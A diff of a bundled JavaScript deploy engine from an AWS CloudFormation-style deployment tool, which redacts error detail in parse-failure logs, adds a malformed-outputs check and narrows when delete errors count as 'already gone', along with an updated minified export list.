@@ -29980,8 +31595,9 @@ var CloudControlProvider = class {
|
|
|
29980
31595
|
try {
|
|
29981
31596
|
return JSON.parse(resourceModel);
|
|
29982
31597
|
} catch (error) {
|
|
29983
|
-
const
|
|
29984
|
-
this.logger.warn(`Failed to parse resource model: ${
|
|
31598
|
+
const described = describeAwsFailure(error);
|
|
31599
|
+
this.logger.warn(`Failed to parse resource model: ${described.redacted ? described.summary : error instanceof Error ? error.name : "Error"}\nModel shape: ${resourceModel.length} chars, ${describeJsonKeys(resourceModel)}`);
|
|
31600
|
+
this.logger.debug(`Resource model parse failure detail: ${displaySafe(described.detail)}`);
|
|
29985
31601
|
return {};
|
|
29986
31602
|
}
|
|
29987
31603
|
}
|
|
@@ -40409,6 +42025,7 @@ var DeployEngine = class DeployEngine {
|
|
|
40409
42025
|
lastModified: Date.now()
|
|
40410
42026
|
};
|
|
40411
42027
|
const currentEtag = currentStateData?.etag;
|
|
42028
|
+
refuseMalformedOutputs(currentState, stackName, this.stackRegion);
|
|
40412
42029
|
const migrationPending = currentStateData?.migrationPending ?? false;
|
|
40413
42030
|
this.logger.debug(`Loaded current state: ${Object.keys(currentState.resources).length} resources`);
|
|
40414
42031
|
if (this.options.onCurrentStateLoaded) await this.options.onCurrentStateLoaded(stackName, currentStateData?.state);
|
|
@@ -41640,7 +43257,7 @@ var DeployEngine = class DeployEngine {
|
|
|
41640
43257
|
});
|
|
41641
43258
|
} catch (deleteError) {
|
|
41642
43259
|
const deleteMsg = deleteError instanceof Error ? deleteError.message : String(deleteError);
|
|
41643
|
-
if (deleteMsg.includes("does not exist") || deleteMsg.includes("not found") || deleteMsg.includes("NotFound")) this.logger.debug(`Old resource ${logicalId} already gone, proceeding with CREATE`);
|
|
43260
|
+
if (!isWaitAbandonedError(deleteError) && !isInterruptedWaitError(deleteError) && !isMarkedNonRetryable(deleteError) && (deleteMsg.includes("does not exist") || deleteMsg.includes("not found") || deleteMsg.includes("NotFound"))) this.logger.debug(`Old resource ${logicalId} already gone, proceeding with CREATE`);
|
|
41644
43261
|
else throw deleteError;
|
|
41645
43262
|
}
|
|
41646
43263
|
const fallbackSkipReason = deleteSkipReason(fallbackDeleteResult);
|
|
@@ -41745,7 +43362,7 @@ var DeployEngine = class DeployEngine {
|
|
|
41745
43362
|
}), logicalId, 3, 5e3, deleteProvider);
|
|
41746
43363
|
} catch (deleteError) {
|
|
41747
43364
|
const msg = deleteError instanceof Error ? deleteError.message : String(deleteError);
|
|
41748
|
-
if (!isInterruptedWaitError(deleteError) && !isMarkedNonRetryable(deleteError) && (msg.includes("does not exist") || msg.includes("was not found") || msg.includes("not found") || msg.includes("No policy found") || msg.includes("NoSuchEntity") || msg.includes("NotFoundException") || msg.includes("ResourceNotFoundException"))) this.logger.debug(`Resource ${logicalId} already deleted (${msg}), removing from state`);
|
|
43365
|
+
if (!isInterruptedWaitError(deleteError) && !isMarkedNonRetryable(deleteError) && !isWaitAbandonedError(deleteError) && (msg.includes("does not exist") || msg.includes("was not found") || msg.includes("not found") || msg.includes("No policy found") || msg.includes("NoSuchEntity") || msg.includes("NotFoundException") || msg.includes("ResourceNotFoundException"))) this.logger.debug(`Resource ${logicalId} already deleted (${msg}), removing from state`);
|
|
41749
43366
|
else throw deleteError;
|
|
41750
43367
|
}
|
|
41751
43368
|
const deleteSkipped = deleteSkipReason(deleteResult);
|
|
@@ -42412,5 +44029,5 @@ var DeployEngine = class DeployEngine {
|
|
|
42412
44029
|
};
|
|
42413
44030
|
|
|
42414
44031
|
//#endregion
|
|
42415
|
-
export { secretBearing as $,
|
|
42416
|
-
//# sourceMappingURL=deploy-engine-
|
|
44032
|
+
export { secretBearing as $, markNonRetryable as $i, buildLockContentionMessage as $n, resolveCaptureObservedState as $r, malformedExportNamesWarning as $t, extractDeploymentEventError as A, DynamicReferenceRegionAmbiguousError as Ai, DagBuilder as An, buildDenyExternalAccessPolicy as Ar, isImpossibleEmptyStoredAttribute as At, toCfnInteger as B, ResourceUpdateNotSupportedError as Bi, identityKeyFor as Bn, redactDockerArgvValues as Br, coerceCfnBoolean as Bt, buildFinalSnapshotIdentifier as C, setAwsClients as Ci, callerEnvCredentials as Cn, ensureAssetStorage as Cr, isTerminationProtectionPropagationError as Ct, refusesFinalSnapshot as D, CrossAccountSecretRefusalError as Di, findSilentDropProperties as Dn, readBootstrapMarkerBody as Dr, cfnRefValueFromPhysicalId as Dt, isFinalSnapshotError as E, ConfigError as Ei, findActionableSilentDrops as En, parseBootstrapMarker as Er, carriesFetchableDynamicReference as Et, isStatefulRecreateTargetSync as F, MalformedProducerRecordRefusalError as Fi, TEMPLATE_SOURCED_RULES as Fn, describeDockerFailure as Fr, isSettledInstanceState as Ft, gray as G, formatError as Gi, recordMaskOnlyValue as Gn, AssetManifestLoader as Gr, readConfigString as Gt, formatResourceLine as H, StackTerminationProtectionError as Hi, markSameGenerationBag as Hn, runDockerStreaming as Hr, configBooleanRefusal as Ht, renderStatefulReason as I, NestedStackChildDirectDestroyError as Ii, carriesSecretMask as In, dockerSpawnEnvWithSensitive as Ir, WAFv2WebACLProvider as It, yellow as J, withErrorHandling as Ji, scrubResourceRecord as Jn, synthesisStatusMessage as Jr, requireConfigObject as Jt, green as K, isCdkdError as Ki, recoverMaskedOutput as Kn, getDockerImageBySourceHash as Kr, replayWarn as Kt, WARM_THROUGHPUT_MEMBERS as L, PartialFailureError as Li, createSecretMasker as Ln, formatDockerLoginError as Lr, normalizeAwsTagsToCfn as Lt, planOrphanAdoption as M, LocalInvokeBuildError as Mi, STATE_SOURCED_BASELINE_RULES as Mn, buildDockerImage as Mr, isUnboundTemplateParameter as Mt, MULTI_REGION_RECREATE_BLOCKED_TYPES as N, LocalStartServiceError as Ni, STATE_SOURCED_CROSS_GENERATION_RULES as Nn, describeDockerCapturedOutput as Nr, parameterTypeMayLoseSecretIdentity as Nt, unsupportedFinalSnapshotError as O, DependencyError as Oi, describeTypeWithThrottleRetry as On, validateAssetBucketName as Or, coerceParameterTypedValue as Ot, isStatefulRecreateTargetForReplace as P, LockError as Pi, STATE_SOURCED_READBACK_RULES as Pn, describeDockerExecFailure as Pr, refStateLookupFromResource as Pt, isExportAliasCollision as Q, isTransientServerError as Qi, buildForceUnlockCommand as Qn, resolveAutoAssetStorage as Qr, hasReadableResources as Qt, coerceWarmThroughput as R, ProvisioningError as Ri, dynamicReferenceTokens as Rn, getDockerCmd as Rr, resolveExplicitPhysicalId as Rt, PRE_DELETE_SNAPSHOT_TYPES as S, resetAwsClients as Si, applyCallerIdentityCredentials as Sn, assertAssetBucketRegion as Sr, disableInstanceApiTermination as St, createPreDeleteFinalSnapshot as T, CdkdError as Ti, INTRINSIC_KEYS as Tn, isCrossRegionRedirect as Tr, carriesDynamicReference as Tt, bold as U, StateError as Ui, maskSecretsInError as Un, escapeRegExp$1 as Ur, configIntegerRefusal as Ut, toFiniteNumber as V, StackHasActiveImportsError as Vi, isSingleDynamicReferenceToken as Vn, runDockerForeground as Vr, coerceCfnInteger as Vt, cyan as W, SynthesisError as Wi, maskSecretsInText as Wn, stripControlChars as Wr, configStringRefusal as Wt, collectPublishedOutputNames as X, isRetryableTransientError as Xi, S3StateBackend as Xn, getLegacyStateBucketName as Xr, STATE_RESOURCES_MALFORMED as Xt, collectDeclaredOutputNames as Y, isMarkedNonRetryable as Yi, LockManager as Yn, getDefaultStateBucketName as Yr, requireConfigString as Yt, exportAliasCollisionScrubWarning as Z, isThrottlingError as Zi, rebuildClientForBucketRegion as Zn, resolveApp as Zr, hasReadableOutputs as Zt, isSecretBearingReferenceString as _, processStackMessages as _i, s3BucketDomainName as _n, createAssetRedirectResolver as _r, isWaitAbandonedError as _t, DeploymentEventsStore as a, warnDeprecatedNoPrefixCliFlag as ai, malformedResourcesWarning as an, exportNamesCarriedFrom as ar, clearOnUpdateRemoval as at, bindingSkippedOutputs as b, AwsClients as bi, s3BucketWebsiteUrl as bn, AssetModeResolver as br, deleteIndeterminateGuards as bt, replayFailedOperations as c, MIGRATE_TMP_PREFIX as ci, refuseMalformedOutputs as cn, importableOutputs as cr, createMaskedRetryLogger as ct, updatePartialReason as d, CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION as di, repairMalformedOutputsForReadOnly as dn, orphansCarriedFrom as dr, beginCommandInterruptScope as dt, markRedactedCause as ea, resolveSkipPrefix as ei, malformedExportSourceWarning as en, forceQuitRecoveryClause as er, secretBearingStateKeyWarning as et, withResourceDeadline as f, expectedOwnerParam as fi, repairMalformedResourcesForReadOnly as fn, shouldRetainResource as fr, endCommandInterruptScope as ft, bagHoldsSecretExpression as g, AssemblyReader as gi, s3BucketArn as gn, buildAssetRedirectMap as gr, CloudControlProvider as gt, computeImplicitDeleteEdges as h, derivePartitionAndUrlSuffix as hi, withSharedDrainBudget as hn, WorkGraph as hr, startInterruptWatch as ht, DeploymentEventsReader as i, stateBucketExistenceConfirmed as ii, malformedRenderedContainersWarning as in, DEFAULT_STATE_PREFIX as ir, collectInlinePolicyNamesManagedBySiblings as it, makeSiblingClaimReader as j, IntrinsicResolutionRefusalError as ji, TemplateParser as jn, describeAwsFailure as jr, isNamelessDynamicReferenceError as jt, makeCanonicalizePropertiesFn as k, DeployCancelledError as ki, withRetry as kn, validateContainerRepoName as kr, getAccountInfo as kt, replayRollback as l, findLargeInlineResources as li, refuseMalformedOutputsForDestroy as ln, isReadableBag as lr, maskDeep as lt, IMPLICIT_DELETE_DEPENDENCIES as m, canonicalizeRegion as mi, producerRegionsFromState as mn, stringifyValue as mr, isInterruptedWaitError as mt, DEFAULT_RESOURCE_WARN_AFTER_MS as n, __exportAll as na, resolveStateBucketWithDefaultAndSource as ni, malformedOutputsRefusalMessage as nn, shellQuote as nr, getCurrentResourceSecrets as nt, planFailedOps as o, CFN_TEMPLATE_BODY_LIMIT as oi, malformedStateRefusalMessage as on, hasReadableExportSet as or, ProviderRegistry as ot, maskingRetryLogger as p, PARTITION_TABLE as pi, classifyReplaySecretRegion as pn, AssetPublisher as pr, interruptWatchListenerCount as pt, red as q, normalizeAwsError as qi, redactSecretsForState as qn, Synthesizer as qr, requireConfigArray as qt, DeployEngine as r, resolveUseCdkBootstrapAssets as ri, malformedOutputsWarning as rn, CUSTOM_RESOURCE_RESPONSE_PREFIX as rr, IAMRoleProvider as rt, planRollback as s, CFN_TEMPLATE_URL_LIMIT as si, refuseMalformedNestedChildOutputs as sn, importableOutputKeys as sr, wouldReturnToSdkProvider as st, DEFAULT_RESOURCE_TIMEOUT_MS as t, retryClassificationText as ta, resolveStateBucketWithDefault as ti, malformedLocalOutputsWarning as tn, formatLockExpiry as tr, secretSafeKeyDisplay as tt, updatePartialMessage as u, uploadCfnTemplate as ui, refuseMalformedState as un, orphansAfterRollback as ur, maskerOrIdentity as ut, keptWholeReasonText as v, clearBucketRegionCache as vi, s3BucketDualStackDomainName as vn, loadPublishableAssetManifest as vr, slowCcOperationTimeoutMs as vt, ccRoutedFinalSnapshotError as w, AssetError as wi, DiffCalculator as wn, getBootstrapMarkerKey as wr, IntrinsicFunctionResolver as wt, ATOMIC_FINAL_SNAPSHOT_TYPES as x, getAwsClients as xi, applyRoleArnIfSet as xn, BOOTSTRAP_MARKER_PREFIX as xr, deleteSkipReason as xt, mergeNoChangeOutputs as y, resolveBucketRegion as yi, s3BucketRegionalDomainName as yn, rewriteTemplateAssetReferences as yr, UNSPECIFIED_SKIP_REASON as yt, isWarmThroughputDecrease as z, ResourceTimeoutError as zi, errorCauseChain as zn, partitionSensitiveEnv as zr, assertRegionMatch as zt };
|
|
44033
|
+
//# sourceMappingURL=deploy-engine-DuiVEV9B.js.map
|